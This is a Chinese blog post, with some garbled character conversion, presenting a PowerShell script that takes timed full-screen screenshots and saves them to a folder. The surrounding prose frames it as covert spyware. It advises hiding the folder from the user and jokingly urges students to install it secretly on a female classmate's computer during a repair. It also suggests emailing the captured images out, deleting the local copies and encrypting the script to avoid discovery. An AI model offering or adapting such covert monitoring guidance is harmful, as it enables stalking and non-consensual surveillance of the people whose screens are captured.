昨天的博文寫了定時(shí)記錄操作系統(tǒng)行為,其實(shí)說白了就是抓取了擊鍵的記錄和對(duì)應(yīng)窗口的標(biāo)題欄,而很多應(yīng)用程序標(biāo)題欄又包含當(dāng)時(shí)記錄的文件路徑和文件名,用這種方式可以大致記錄操作了哪些程序,打開了哪些文件,以及敲擊了哪些按鍵。事實(shí)上這樣記錄操作系統(tǒng)的行為顯得相對(duì)單薄一點(diǎn),因?yàn)橛涗浀膬?nèi)容不太形象,對(duì)于新手來說太過于隱晦了,對(duì)于人類來說,圖像會(huì)比文字更加有利于用戶理解。當(dāng)操作系統(tǒng)不方便裝屏幕記錄軟件,但又需要看已經(jīng)登錄用戶在干什么的時(shí)候,用PowerShell的腳本來實(shí)現(xiàn)定時(shí)抓取圖像的方式記錄操作,查看圖像就知道登陸用戶做了什么,當(dāng)然你存放圖片的目錄要隱蔽,不要讓用戶發(fā)現(xiàn)了為好。
當(dāng)然對(duì)于在學(xué)校計(jì)算機(jī)系的屌絲們,這個(gè)功能也可以用來了解自己的女神有什么喜好了。什么?咋把腳本安裝到女神的電腦里?咋把抓的圖片返回給你?拜托,這么簡(jiǎn)單的問題,還需要我?guī)湍阏掖鸢该矗颗竦碾娔X壞了,通常都會(huì)找一個(gè)熟悉電腦軟硬件的計(jì)算機(jī)系的童鞋來修的,修的時(shí)候悄悄動(dòng)點(diǎn)手腳。圖片返回的問題呢,完全可以定時(shí)抓取,然后抓取一定數(shù)量之后打包發(fā)到指定郵箱,然后刪除本地圖片嘛。什么?不知道PowerShell咋發(fā)郵件…你妹的,用System.Net.Mail.MailMessage組件調(diào)用SMTP發(fā)送郵件你不會(huì)?我以前寫過類似文章的…好吧,送佛送到西,自己去看吧《使用PowerShell通過Smtp發(fā)送郵件》。還有就是寫的腳本務(wù)必要加密,至于加密方式方法嘛,改天吧,改天專門寫一篇文章寫關(guān)于PowerShell腳本加密,這種事情嘛,如果被女神發(fā)現(xiàn)鳥,那可是吃不了兜著走的事啊。還有出去別告訴別人,我給你出的這主意,還有隱私的東西,自己把握好度,如果警察蜀黍請(qǐng)你去喝茶了可就不好玩了。本故事純屬虛構(gòu),如有雷同純屬巧合,本人只提供創(chuàng)意,如果具體實(shí)施被女神打破頭,或者被警察蜀黍請(qǐng)去喝茶了,本人概不負(fù)任何法律責(zé)任哈。嘿嘿,不多扯了,先上今天的定時(shí)抓取屏幕圖像的方法。
其實(shí)方法不復(fù)雜,寫了一個(gè)抓取屏幕的函數(shù),定時(shí)執(zhí)行,將抓取的圖片存入指定位置,如果達(dá)到終止的時(shí)間,結(jié)束執(zhí)行.代碼不復(fù)雜,有看不懂的兄弟可以留言,我?guī)湍憬獯稹?/p>
接下來上代碼:
[CmdletBinding()] Param(
[Parameter(Mandatory=$True)]
[ValidateScript({Test-Path -Path $_ })]
[String] $Path,
[Parameter(Mandatory=$True)]
[Int32] $Interval,
[Parameter(Mandatory=$True)]
[String] $EndTime
)
#Define helper function that generates and saves screenshot
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
}
Try {
#load required assembly
Add-Type -Assembly System.Windows.Forms
Do {
#get the current time and build the filename from it
$Time = (Get-Date)
[String] $FileName = "$($Time.Month)"
$FileName += '-'
$FileName += "$($Time.Day)"
$FileName += '-'
$FileName += "$($Time.Year)"
$FileName += '-'
$FileName += "$($Time.Hour)"
$FileName += '-'
$FileName += "$($Time.Minute)"
$FileName += '-'
$FileName += "$($Time.Second)"
$FileName += '.png'
#use join-path to add path to filename
[String] $FilePath = (Join-Path $Path $FileName)
#run screenshot function
Get-Screenshot
Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"
Start-Sleep -Seconds $Interval
}
#note that this will run once regardless if the specified time as passed
While ((Get-Date -Format HH:mm) -lt $EndTime)
}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}
執(zhí)行方式,如下圖所示:
執(zhí)行效果,會(huì)在指定的目錄,按照時(shí)間間隔生成桌面抓圖,類似如下圖所示.
哥,只能幫你到這了!兄弟們好自為之吧!
新聞熱點(diǎn)
疑難解答
圖片精選